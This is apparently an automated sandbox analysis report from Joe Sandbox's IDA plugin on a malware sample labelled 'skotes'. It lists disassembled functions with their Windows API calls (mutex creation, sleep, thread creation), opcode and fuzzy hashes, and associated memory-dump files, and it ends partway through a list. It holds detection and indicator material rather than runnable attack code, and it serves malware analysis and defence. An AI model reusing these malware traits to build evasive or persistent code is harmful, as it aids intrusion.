Opcode Fuzzy Hash: 9a3847881735d51de413a43efa35ece4b7ea9a7853305c77cc304465be9d3728
Instruction Fuzzy Hash: 05315B31B44140EBFF08ABBCD8CD7ADB662EB95310F20421AE159D72C6D77D59808722

Function 0078A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A550
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 85f5e3b30fb6ff497023c99416427312f77af97a6ff8d96d132db90b6d7cfe6f
Instruction ID: 0b0c033d0bf8fdbb4bb6c4cf9d76cbc6d50d26d4a1b5a4ca701e281cc413c099
Opcode Fuzzy Hash: 85f5e3b30fb6ff497023c99416427312f77af97a6ff8d96d132db90b6d7cfe6f
Instruction Fuzzy Hash: 1E314A31745104ABFB08EBB8DCCDBACB762EB85314F24821AE055DB2D6D73D99808722

Function 0078A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A685
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 7432328105df4949e343c179e17d87f29b9879b6a86cc2c106791b6204b910f5
Instruction ID: 6b3ad6a45f9a4e2af66ab033c0daf16474692aa40b7f717cadc3ac7fd8231c3f
Opcode Fuzzy Hash: 7432328105df4949e343c179e17d87f29b9879b6a86cc2c106791b6204b910f5
Instruction Fuzzy Hash: 24314831745144EBFB08EB78DC8DBADB772EB85310F24821AE015D72D6E73D99808722

Function 0078A7B7 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 130sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0078A7BA
Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2~
API String ID: 396266464-3459864372
Opcode ID: 572a0074b4097f6e2ee404bbfc31142f9689054407d2e62c58c2a35cfafe2737
Instruction ID: ee1e90c44f0974c83e396431a471944a4f220eb88106c7f3892dbc7e5a832813
Opcode Fuzzy Hash: 572a0074b4097f6e2ee404bbfc31142f9689054407d2e62c58c2a35cfafe2737
Instruction Fuzzy Hash: 8A316C31B85104EBFB08EB7CDDCCBACB772AB85310F24821AE005972D2E73D59808722

Function 0078A960 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43sleepsynchronizationCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,?), ref: 0078A963
CreateMutexA.KERNEL32(00000000,00000000,007E3254), ref: 0078A981

Strings

T2~, xrefs: 0078A970

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370608073.0000000000A98000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370761020.0000000000AA6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370977953.0000000000AA7000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_780000_skotes.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID: T2~
API String ID: 1464230837-3459864372
Opcode ID: e004b1e72429c3401be1274c2ff85c3b6c210e5eead0edadbe3af404acc163fe
Instruction ID: da1250314febe01aefa421c780f66626e07327c8804b6c4080df5202553bff16
Opcode Fuzzy Hash: e004b1e72429c3401be1274c2ff85c3b6c210e5eead0edadbe3af404acc163fe
Instruction Fuzzy Hash: 6BE086117DE244B7F6107269789DB7D6219A7E9701F210426E746CB4D2C56C65448337

Function 00787590 Relevance: 4.7, APIs: 3, Instructions: 158sleepthreadCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064,7D8541EC,?,00000000,007C9138,000000FF), ref: 007875CC
CreateThread.KERNEL32(00000000,00000000,00787430,007E8638,00000000,00000000,?,?,?,?,?,?,?,?), ref: 007876BF
Sleep.KERNEL32(000001F4,?,?,?,?,?,?,?,?,?,?,?,?), ref: 007876C9

Part of subcall function 0079D0C7: RtlWakeAllConditionVariable.NTDLL ref: 0079D17B

Memory Dump Source

Source File: 0000000F.00000002.3359832839.0000000000781000.00000040.00000001.01000000.00000007.sdmp, Offset: 00780000, based on PE: true

Associated: 0000000F.00000002.3359603430.0000000000780000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3359832839.00000000007E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361027940.00000000007E9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361233905.00000000007EB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3361479133.00000000007F7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362735316.0000000000957000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3362971946.0000000000959000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363251753.0000000000972000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363537262.0000000000973000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000974000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3363769298.0000000000980000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364214079.0000000000993000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364428716.0000000000997000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364630115.0000000000998000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3364771540.0000000000999000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365073331.00000000009AC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365150986.00000000009AF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365365787.00000000009B0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365567330.00000000009B1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3365760629.00000000009B9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366002961.00000000009C5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366253133.00000000009DC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366439405.00000000009DD000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366647925.00000000009DE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3366842904.00000000009E2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367004462.00000000009E9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367186457.00000000009EC000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367384241.00000000009EE000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367547975.00000000009F3000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3367768155.0000000000A07000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368000573.0000000000A08000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368193923.0000000000A0F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368327288.0000000000A10000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368472045.0000000000A11000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368649548.0000000000A12000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368779943.0000000000A13000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3368978935.0000000000A18000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369152210.0000000000A19000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369323897.0000000000A21000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369525997.0000000000A37000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A39000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3369683643.0000000000A65000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370088916.0000000000A90000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370234628.0000000000A91000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000F.00000002.3370434745.0000000000A96000.00000040.00000001.01000000.00000007.sdmpDownload File
